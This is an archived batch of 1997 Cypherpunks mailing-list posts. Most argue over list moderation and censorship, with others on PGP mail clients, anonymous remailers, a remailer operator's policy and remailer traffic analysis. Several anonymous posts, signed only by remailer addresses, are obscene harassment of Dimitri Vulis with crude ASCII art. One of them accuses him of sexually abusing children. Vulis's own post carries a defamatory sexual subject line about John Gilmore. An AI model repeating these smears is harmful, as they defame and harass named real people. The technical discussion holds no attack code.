And it is even worse to not pass on these filtered comments to the "flames"
list, which was putatively set up to contain such comments. Worse still
that the list as a whole is not being told of this policy, and that posts
which mention it are not going out.

(There has been some discussion of articles not going out, such as in Igor
Chudov's recent articles, but I surmise from his article that Igor is
unaware of the filtering I'm talking about here. I am copying Igor on this
message, to ensure he knows at least part of what is going on here.)

There is no justification in any of the stated moderation goals for
blocking articles such as mine, or this one.

As my posts yesterday did not contain flames or insults (beyond normal
minor turns of phrase some might not like, just as _this_ post contains
mildly flamish comments if one is so inclined to see _any_ criticism as
flamish), they should have appeared on the main list. They have not, so
far, even though articles generated many hours later have already appeared
on the main list.

And, as of minutes ago, they have not appeared on the Flames list, even if
the Moderator decided they were flamish. (Even if _one_ was, arguably, not
all of them were.)

So, we are increasingly in a situation where:

a. the moderation policies appear to be changing on a daily basis

b. articles which are not even flamish are being dumped

c. some of these dumped articles are not even appearing on the "Flames" list

d. the appearance of a conflict of interest is increasing

e. discussion is being squelched

I am cc:ing this message to a handful of Cypherpunks to ensure that it gets
some propagation before today's meeting.

I find it very sad that things have come to this.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Sat, 8 Feb 1997 09:44:57 -0800 (PST)
To: dthorn@gte.net
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702081744.JAA12384@f22.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>Otto Matic wrote:
>> What else do I need for an internet server?
>> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
>> speed hard drives.  These are the Tall Towers that have multiple
>> drives, these are server towers.
>> I think I have a router Hub.  And a couple LAN cards.
>> That's all I have.  But I just got them, and I want to use them.  I assume I
>> will be using some kind of UNIX software.
>
>HP does some strange things to their BIOS software - you may want to
>get one of those net analyzer tools and some low-level software that
>can monitor what your HP's are sending and receiving, just in case.
>
>They don't normally use Vectras for UNIX, so what effects you can
>expect, I don't know.
>

Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
guessing.  What I really need is a B.O.M (bill of materials).  What other
'hardware' will I need to round up in order to get this server up and running.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Chou <jchou@cgl.ucsf.edu>
Date: Sat, 8 Feb 1997 10:05:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <v03010d03af227139d79f@[128.218.16.55]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Meanwhile, a beta version of "Pretty Safe Mail"
><http://www.highware.com/highware/PSM/safemail.htm> is available from
>Highware in Belgium.  It's PGP compatible, and its user interface is a
>great leap forward from any Mac PGP front end I've seen.  But, it still
has
>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>discussed on a couple of these lists) its source code hasn't been
published
>or externally audited.

I've been testing Pretty Safe Mail on 68k and PPC platforms, and I
completely agree with you for the 68040 slowness.

But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign
the same document. Highware claims that a faster 68k is in the works.

They've offereed to have PSM externally audited, but I haven't heard of
any volunteers.

Joe




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2, by Pretty Safe Mail 1.0

iQCVAwUBMvzAT7WqygGLsQD9AQF+RwP+IbLejl0wMKQzPJmHbIOann+KUB0zsXps
36bjfsyjIYZwkcbhjqCh2lFpljlmeMMVtPX90bPLRb0J+Bgbmcv7h24BN2Q5sInr
AFFk4ST07uLZ8ICJzwtkHYgNwgMmdba2QeDQ0SZCH8FYMQiLpkf45TTIIger8MXt
Rkkv3V23nts=
=MgGH
-----END PGP SIGNATURE-----

| Joe Chou  <jchou@cgl.ucsf.edu>
| http://devbio-mac1.ucsf.edu/joe.html
| Bargmann Lab, UCSF Department of Biochemistry
| PGP KeyID 0x8BB100FD: at web page or public key servers
| PGP Fingerprint [4194 EBC6 EEB0 7B1A  F18F 2185 D406 EDFF]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 8 Feb 1997 10:10:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <Pine.SUN.3.91.970208094546.2426B-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 8 Feb 1997 07:18:52 -0800 (PST)
To: cryptography@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <9702081518.AA15999@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com, cryptography@c2.net
Date: Sat Feb 08 10:14:03 1997

> At 11:58 1997-02-07 -0800, Ed Falk wrote:
> >
> >Can't remailers be written with basic spam safeguards?  I.e. no 
> >mass crossposts, limited # of posts by each individual client per 
> >day, etc.?
> 
> Can anybody give me the address of reliable remailer which accepts
> pgp messages.

Winsock Remailer


************************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvyYOz5A4+Z4Wnt9AQFkXgP9GTsbnZsDmqlhHr7b18F3EQSiJ2QX3OdQ
45DBXL1m0e3+bAN89gFqfnBTvSf+7f4EvqcwzlVuv8FNzMhxD4+dLvw08TiszSvS
608N5Bx+3D3lI0HwPhGbcYlANtiJEN2JKxkzXO+gUF8Eb+DsgCb/iv2h4GLxmOOK
a7oRUv/PzYg=
=QdsB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 02:31:16 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: censorship and headers
Message-ID: <199702081029.DAA24646@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvxVZr04kQrCC2kFAQG7TwP/XI3wSXvMUgYdIqyjrXUN5CT5W/XVONqF
jOfGDNxeTj+UbvIGuMzfcdxZB0X2lMCm8IptXncDfQgULIt6Fex9xfBmrlr1F12G
xdnZKwoU9QUga27UX1Lyfw3V8uJYgx10h1o1/54CPAoFJVBhWwA5aI6RL/7hvoeI
E/l3Tx9iIyE=
=djYo
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 10:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Decision in Karn Case
Message-ID: <199702081850.KAA15092@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Degenerate Vulis K[rust]OfTheMoment likes to be the man in
the middle, getting it both up the ass and in his mouth.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Degenerate Vulis K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 08:26:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de>
Message-ID: <7yDT2D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the C2Net Censor tossed the following question to flames:

Secret Squirrel <nobody@squirrel.owl.de> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
>
> Examples, please?

Plenty. There was a whole thread about the operator of the defunct lead
remailer disclosing his users' identities. Here's a recent one:

]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST)
]Message-Id: <3.0.32.19970206160603.0086acb0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 16:06:04 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Commercial SPAM from ClaritaInc@aol.com
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]
]Tofu trapped a bunch of shit coming from ClaritaInc@aol.com.  They're
]posting to usenet, advertising things for sale (Including a $10 pamphlet
]explaining how to send anonymous internet email, and the standard
]make.money.fast chainletter scheme)
]
]I've source blocked them, I suggest you do the same.
]
]-Jeff

Jeff also said the following, which seems to contradict the above:

]Delivered-To: remailer-operators@anon.lcs.mit.edu
]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST)
]Message-Id: <3.0.32.19970206174616.0086c8e0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 17:46:16 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Useage Policy.
]Mime-Version: 1.0
]Content-Type: text/plain; charset="iso-8859-1"
]Content-Transfer-Encoding: quoted-printable
]
]
]I'm in the process of setting up an autoresponder on the
]abuse@mailmasher.com address.  I'd appreciate people's feedback to this
]autoresponder message, and the policies that it describes...
]
]
]Hi.  This is in regards to a letter you sent to abuse@mailmasher.com.  I
]hate autoresponders too, but I=92ve found that this is a special case and is
]probably warranted.
]I=92ve been running anonymous services for a couple of years now, and have
]answered thousands of pieces of email regarding MailMasher users.  Please
]take my word on this one, you really need to at least skim the rest of this
]message.
]
]I will read your email, I promise.  However, if your email can be answered
]by something that is contained in THIS message, I won=92t respond to it.
]Sorry.  I run MailMasher as sort of a hobby, while holding down a dayjob
]and I really don=92t have time to answer all mail personally.
]
]And now on to the important stuff=85
]
]First, the answer to the most frequently asked MailMasher question=85  If a
]user of the MailMasher is Harassing or otherwise bothering you,  it can be
]stopped.  Send a blank message to blockme@mailmasher.com.  Your email
]address will be added to a list of addresses that MailMasher will refuse to
]mail to, and you=92ll never get anything from here again.
]
]MailMasher is an anonymous service.  This means that even I don=92t know who
]is using it.  Any internet user can use a web interface to create an
]anonymous MailMasher email account.  I don=92t ask them who they are, and my
]machine doesn=92t keeps logs that could be used to identify users.  So
]please, don=92t ask me to identify a user.  I can=92t do it.=20
]
]I also don=92t filter anything for content.  Several years ago, in what has
]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v.
]Prodigy.  Details at
]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy )   A
]legal standard was set.  Basically, if a service provider deletes posts,
]intercepts emails or otherwise tries to exercise editorial control over any
]of its users, then the service provider can be held responsible for ALL of
]the content that goes through the service.  MailMasher transfers around
]10,000 messages a day.  It is impossible for me to monitor traffic like
]that.  Therefore, I do not even know what most MailMasher users are using
]their accounts for.  It really isn=92t any of my business, and because I
]don=92t make it my business, legally, I can=92t be held responsible for the
]actions of MailMasher users.
]
]I also don=92t delete accounts.  Because, when I delete an account, the user
]can always come right back and create another one with a different address.
] If someone is going to be behaving badly on the Internet, I for one would
]prefer that they always do it from the same email address, so I can just
]add them to my killfile or email filters.
]
]So, to summarize:
]
]1.  I intentionally have made it impossible for anyone, including myself to
]determine the identities of MailMasher users.
]2.  I will not under any circumstances monitor a user or delete an account.
]3.  I will make a good faith effort to keep you from being bothered by
]MailMasher users,  through the use of a destination block filter.
]4.  I neither condone nor condemn any action taken by any MailMasher user,
]either in conjunction with their MailMasher use or not.
]
]So=85 you ask,  Why would I want to run a service that lets the spammers, an=
]d
]the porn freaks, and the warez kiddies do their thing?  The answer is
]simple: because it also allows for much much more.  A MailMasher user can
]communicate without repercussions to people all over the world.  I have
]received many thank-yous from users sometimes explaining what they used my
]service for.  There are people in certain countries who have a very
]legitimate fear of speaking out, who use this and other anonymous services
]to communicate with the U.S.  Countless people have used anonymous services
]to very openly discuss items that are considered secret to certain members
]of the Church of Scientology.  Victims of all sorts of abuse can speak
]truly anonymously (sometimes for the first time).  Even abusers can speak
]freely, which helps with recovery.
]It is for these examples that I run this service.  I think a little noise
]and junk is a small price to pay for all of this.  You take the good with
]the bad.
]
]This is free speech in one of its most raw forms, staring you in the face.
]You may not like it; It may offend you; It might even encourage illegal
]behavior, but it is speech, and in the United States, it is protected by
]the Constitution. =20
]
]Thank you for your time.  If you=92d like to contact me again, without
]tripping this autoresponder, send mail to remailer-admin@mailmasher.com.
]
]-Jeff Burchell,  MailMasher Admin
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:22:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore fellated farm animals
In-Reply-To: <199702070916.RAA10141@relay6.jaring.my>
Message-ID: <9LeT2D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"huilam" <huilam@pl.jaring.my> writes:

> How to get off this mail-listing ??
>
> Regards,
> Hui Lam
> Email:huilam@pl.jaring.my
> Homepage:<http://www.geocities.com/heartland/8642/>

Dear Hui,

Just send a few e-mails critical of Cygnus Support (Gilmore's company),
or C2Net (Parekh's company, that also employs Sandfart and Broils).
They'll kick you off their mailing list in no time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:23:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072059.MAA15672@netcom23.netcom.com>
Message-ID: <uTeT2D75w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:

> >(It is true that Vulis uses the phrase "Limey faggots," in reference to
> >beer-serving habits, but he does not directly insult any list members with
> >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
> >be blocked from their usual characterizations of Congresscritters and NSA
> >stooges.)
>
> TCM defending Vulis, I think I've died and am in some strange
> dreamworld. hehehehe

I actually liked most of what TCM wrote (even when not crypto-relevant)
and find myself missing his essays.  He was wrong to start flaming me for
no reason and to attribute to me stuff I never said; but we all make
mistakes and can get over them.

Saying bullshit about people (like Tim saying bullshit about me and
me saying bullshit about people) is one thing; it can be fun, or it
can be annoying when taken to extremes; but I've never sought
to silence Tim, and have no hard evidence that he tried to silence
anyone.

P.S. CMEPTb COBKAM!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sat, 8 Feb 1997 02:13:45 -0800 (PST)
To: Bill Stewart <bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970208101434.1127491c@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 21:42 1997-02-07 -0800, Bill Stewart wrote:
>Raph's remailer list is at
>   http://www.cs.berkeley.edu/~raph/remailer-list.html
>and indicates lots of different remailer features,
>including whether they accept or require PGP,
>and what reliability they've been getting recently.

Thanks, and it worked too...

>
>The remailer that was shut down was the remailer named "lead";
>you may have noticed that your reply went to a machine named "zinc".....
>
>At 11:56 PM 2/7/97 +0100, you wrote:
>>Can anybody give me the address of reliable remailer which accepts
>>pgp messages.
>>
>>BTW which remailer was shut down and why?
>>
>>
>>
>>
>>
>>
>>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 10:20:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone got a hash, in Java, in Europe?
Message-ID: <199702081820.LAA04261@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Degenerate L<avender> Vasectomy K<rap> Of The Moment has been
a source of endless embarassments to his sympathizers on and off
the net.

      o_o
     (   )  Dr.Degenerate L<avender> Vasectomy K<rap> Of The Moment
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 09:36:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: List censorship
Message-ID: <855422469.63851.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I notice several posts to the list discussing the incident when a 
message was sent to the list and was only at toad.com for 3 seconds 
before being forwarded. This incident, as the other posts observed, 
seems to suggest some kind of keyword filtering based on content or 
poster identity is in place. Sandy, can you explain this incident 
along with the fact that the post Dimitri sent about stronghold was 
sent to neither of the "filtered" lists.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 8 Feb 1997 09:32:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: META: Censorship is Going Way too Far
In-Reply-To: <v03007800af225b8581dd@[207.167.93.63]>
Message-ID: <199702081136.LAA26752@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af225b8581dd@[207.167.93.63]>, on 02/08/97 at 11:22 AM,
   "Timothy C. May" <tcmay@got.net> said:


>They have _not_ appeared, on either of the two lists, the main list and
>filtered list. I don't know if they have appeared on the "unfiltered" list, as
>I don't have access to an archive site for that, and don't subscribe to it. 
>Some of these articles are now more than 18 hours old.

Hi Tim,

All 4 of your post made it to the unfiltered list.

I don't know what made it to the moderated/flam list as I had switched to the
unmoderated list yesterday morning.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: You're throwing it all out the Windows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvy70Y9Co1n+aLhhAQEJLAP+PfEKyvsLsqNWAnNYKt628w2PUtfIOxiR
H0La2l3tOX6eyXNiQFtmhQA7czJOm2FxMQOwagkA9qQcaJAj6vOiRfA6vganHmVY
VBFEfKQxSaSLov4cjZYyK5e1uWWrsJnU+irZyXDXXBxk8P4rA1kvwGChMPpJmeIK
eybgP/vYvz8=
=1brw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 10:51:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] Dr. Denning
Message-ID: <199702081851.LAA05259@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Destitute L(ibel) Vilus K(adaver)OfTheMonth is so vile because
rancid semen is dripping from all of his orifices.

       o       o
     /<         >\ Destitute L(ibel) Vilus K(adaver)OfTheMonth
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:25:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072158.NAA01633@toad.com>
Message-ID: <gsgT2D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
>
> I'm not defending Vulis per se, and I continue to think Vulis is a twit.

I continue to think that Timmy is a liar and a jerk, yet I continue to
defend his freedom of speech.

> But one of the goals Vulis apparently set out to accomplish (just as you
> did a couple of years ago, Larry) was to force the list to start censoring
> itself, even to force the list to shut down.
>
> It seems likely that Vulis is quite happy with the outcome here.

I had set out to expose Gilmore and his friends as evil, and I've succeded.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:23:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072120.NAA01090@toad.com>
Message-ID: <HwgT2D79w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos <mpd@netcom.com> writes:

> SANDY SANDFORT sez:
>
> > On Fri, 7 Feb 1997, Mike Duvos wrote:
>
> > > ...Messages apparently do not get moderated in the order in
> > > which they are received...
>
> > All messages are filtered and posted in the order in which I
> > receive them.
>
> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list.

Also not "all" messages are posted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 11:00:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Encrypting ZIP disks
Message-ID: <199702081900.MAA05522@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit L[eper] Vehement K[reep]OTM prefers to have sex with
little kids because his own penis is like that of a three-year-
old.

       o       o
     /<         >\ Dimwit L[eper] Vehement K[reep]OTM
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 8 Feb 1997 09:06:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702080810.AAA13064@toad.com>
Message-ID: <Pine.LNX.3.95.970208120030.540A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:

> Ummm, if you run your own remailer, and don't get lots of people to
> use it, then traffic analysis will reveal that you are the sender
> quite quickly. It will pretty much make everything in the chain before
> your remiler useless. If you send your message through remailers a, b,
> c, and d like this:
> 
> you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> 
> and only you use c, then your effective chain is:
> 
> someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This is assuming that it is a reasonable assumption that all traffic going
through remailer c originated from the owner.  If there is one non-corrupt
remailer in the chain before c, then this would not be a valid assumption
because traffic from the owner would be indistinguishable from traffic sent
by anyone else.  If the remailer has low traffic, the solution is, of course,
to make it higher traffic.  Chain a bunch of messages that get sent to
/dev/null through the remailers, being sure to include c somewhere in the
middle of the chain.  If Mixmaster is used, then it would be virtually
impossible to differentiate between "real" messages and messages destined for
/dev/null.  It would be a little easier with Type I since the size of the
ciphertext decreases after each hop.  This all assumes that encryption is being
used, of course.


Mark
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nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj
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=BqMW
-----END PGP SIGNATURE-----





